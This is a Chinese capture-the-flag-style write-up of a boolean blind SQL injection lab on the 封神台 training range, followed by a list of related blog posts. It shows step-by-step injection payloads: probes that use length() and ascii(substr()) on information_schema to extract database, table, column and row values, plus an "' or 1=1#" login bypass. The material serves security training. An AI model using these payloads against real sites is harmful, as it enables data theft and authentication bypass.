封神台SQL注入-基础靶场1-布尔盲注

文章目录

布尔盲注（一）
布尔盲注（二）
布尔盲注（三）

布尔盲注（一）

1、判断注入类型

id=1 and 1=1//有数据
id=1 and 1=2//no results found

判断为数字型布尔盲注

2、判断数据库长度，获取数据库名

and length(database())=1

数据库名长12

抓包，爆破，获取

and ascii(substr(database(),1,1))=1

获取数据库名

3、判断有几个表，并获取第一个表的表名

判断有几个表,并获取表名的长度

and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=1

可见这个库下有三个表

获取第一个表的表名

and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=1

得到表名

4、获取表下的字段数目，并获取第一个字段的字段名

获取该表下有几个字段，并确定他们的长度

and length((select column_name from information_schema.columns where table_schema=database() and table_name='loflag' limit 0,1))=1

可见该表下有两个字段，且第一个字段长为2

获取第一个字段的字段名

and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='loflag' limit 0,1),1,1))=73

得到字段名

5、判断该字段下有几个字段值，并获取第一个字段值

获取字段值的总数目与长度

and length((select Id from loflag limit 0,1))=1

可见，有五个字段值，且他们的长度都为1

这样，我们猜测id的值均为数字，那么我们获取全部的字段值

and (select Id from loflag limit 0,1)=1

这样就得到该字段下的所有字段值

布尔盲注（二）

把双引号闭合，后续操作同（一）

布尔盲注（三）

使用' or 1=1#即可成功登录

封神台SQL注入-基础靶场1-布尔盲注相关推荐

SQL注入进阶：掌握布尔盲注和延时注入攻击技巧
数据来源一.什么是盲注? 盲注是指一种利用应用程序漏洞进行的攻击技术,攻击者通过在输入参数中注入恶意代码或数据来探测.提取和修改应用程序的敏感数据.它通常用于测试 Web 应用程序的安全性,并且可能 ...
【SQL注入漏洞-04】布尔盲注靶场实战
布尔盲注当我们改变前端页面传输给后台sql参数时,页面没有显示相应内容也没有显示报错信息时,不能使用联合查询注入和报错注入,这时我们可以考虑是否为基于布尔的盲注. 布尔盲注原理: 利用页面返回的布尔 ...
SQL注入(SQL注入(SQLi)攻击)攻击-布尔盲注
页面没有显示位 , 没有报错信息 , 只有成功和不成功两种情况时 , 可以使用布尔盲注本次以 SQLi LABS 第9关为案例进行讲解布尔盲注常用的两个函数(我觉得) length('abc') ...
墨者学院-SQL注入漏洞测试（布尔盲注）
决心按部就班.由浅入深地去剖析下sql注入题目提供的靶场环境,完善自身解题思路.本题靶场环境比较简单.也比较常见,没有设置严格的过滤规则,仅仅是限制了页面的回显功能,属于比较初级的sql注入题目.废话 ...
渗透测试——sql注入进阶/基于时间的盲注/一看就会/
目录一.注入点判断注入类型 SQL注入的类型二.基于时间的时间盲注什么是时间盲注 sleep()函数常用函数三.bWAPP基于时间的盲注实战一.注入点判断 1.输入一个单引号',因为语句 ...
封神台——手工注入基础（猫舍）
题目提示很明显,就是sql注入拿到管理员密码点击传送门进入看到的是一个很简陋的猫舍页面域名简单,没看到注入点http://59.63.200.79:8003/ 点击新闻页面看看域名后面加上了id ...
封神台SQL注入-宽字节
一.原理 magic_quotes_gpc(魔术引号开关) magic_quotes_gpc函数在php中的作用是判断解析用户提交的数据,如包括有:post.get.cookie过来的数据增加转义字符 ...
封神台SQL注入-延时注入
一.原理所谓的盲注就是在服务器没有错误回显的时候完成的注入攻击. 服务器没有错误回显,对于攻击者来说缺少了非常重要的"调试信息". 相关函数 length() => 返回( ...
SQL注入漏洞测试(报错盲注)笔记
这个是今天拿下的靶场,这是我作为小白学习的第二个靶场,做一下笔记已知IP地址为:219.153.49.228,端口号为41280,访问了之后是下面的页面看到这个页面之后,我进入了后台,查看之后知道 ...